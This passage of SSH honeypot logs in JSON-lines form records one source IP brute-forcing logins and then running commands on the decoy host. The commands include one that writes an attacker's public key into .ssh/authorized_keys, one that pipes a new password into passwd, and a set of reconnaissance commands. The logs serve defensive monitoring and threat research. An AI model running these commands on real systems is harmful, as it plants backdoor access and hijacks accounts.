AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.924899Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.000842Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.004453Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7089d23ba1c","protocol":"ssh","message":"New connection: 186.80.18.158:54840 (10.17.0.5:22) [session: a7089d23ba1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.074889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.080366Z","src_ip":"186.80.18.158","session":"a7089d23ba1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.157178Z","src_ip":"186.80.18.158","session":"a7089d23ba1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:53.453108Z","src_ip":"186.80.18.158","session":"a7089d23ba1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:54.532622Z","src_ip":"186.80.18.158","session":"a7089d23ba1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":54850,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0bdb3d40061","protocol":"ssh","message":"New connection: 186.80.18.158:54850 (10.17.0.5:22) [session: e0bdb3d40061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:54.603151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:54.607998Z","src_ip":"186.80.18.158","session":"e0bdb3d40061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:54.683513Z","src_ip":"186.80.18.158","session":"e0bdb3d40061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:55.017701Z","src_ip":"186.80.18.158","session":"e0bdb3d40061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.095149Z","src_ip":"186.80.18.158","session":"e0bdb3d40061","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.201653Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.204880Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.282413Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.531250Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@321\\nnuXGANKuNdA2\\nnuXGANKuNdA2\"|passwd|bash","message":"CMD: echo -e \"admin@321\\nnuXGANKuNdA2\\nnuXGANKuNdA2\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.534777Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.538569Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.541824Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b5993c53a1c23db6f7b5dad6434fad2ca92af0b6b3b4bdf023583656d7de565b","size":32,"shasum":"b5993c53a1c23db6f7b5dad6434fad2ca92af0b6b3b4bdf023583656d7de565b","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b5993c53a1c23db6f7b5dad6434fad2ca92af0b6b3b4bdf023583656d7de565b after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.618360Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.804065Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@321\\nnuXGANKuNdA2\\nnuXGANKuNdA2\\n\"|passwd","message":"CMD: echo \"admin@321\\nnuXGANKuNdA2\\nnuXGANKuNdA2\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.806652Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0dfb6814340b5a210da8b42a7d9e67bf1aac219c6e2a5c64ab907e9f87e8646a","size":25,"shasum":"0dfb6814340b5a210da8b42a7d9e67bf1aac219c6e2a5c64ab907e9f87e8646a","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/0dfb6814340b5a210da8b42a7d9e67bf1aac219c6e2a5c64ab907e9f87e8646a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:56.881074Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.100103Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.102812Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.178348Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.364224Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.367667Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.447010Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.626825Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.630381Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.633894Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.711702Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.897678Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.901295Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:57.981125Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.168603Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.171143Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.246309Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.426178Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.429513Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.505350Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.689901Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.693672Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.770418Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.949867Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:58.953370Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.029035Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.214812Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.218291Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.293110Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.475559Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.479078Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.554992Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.766913Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.771512Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:59.849417Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.062086Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
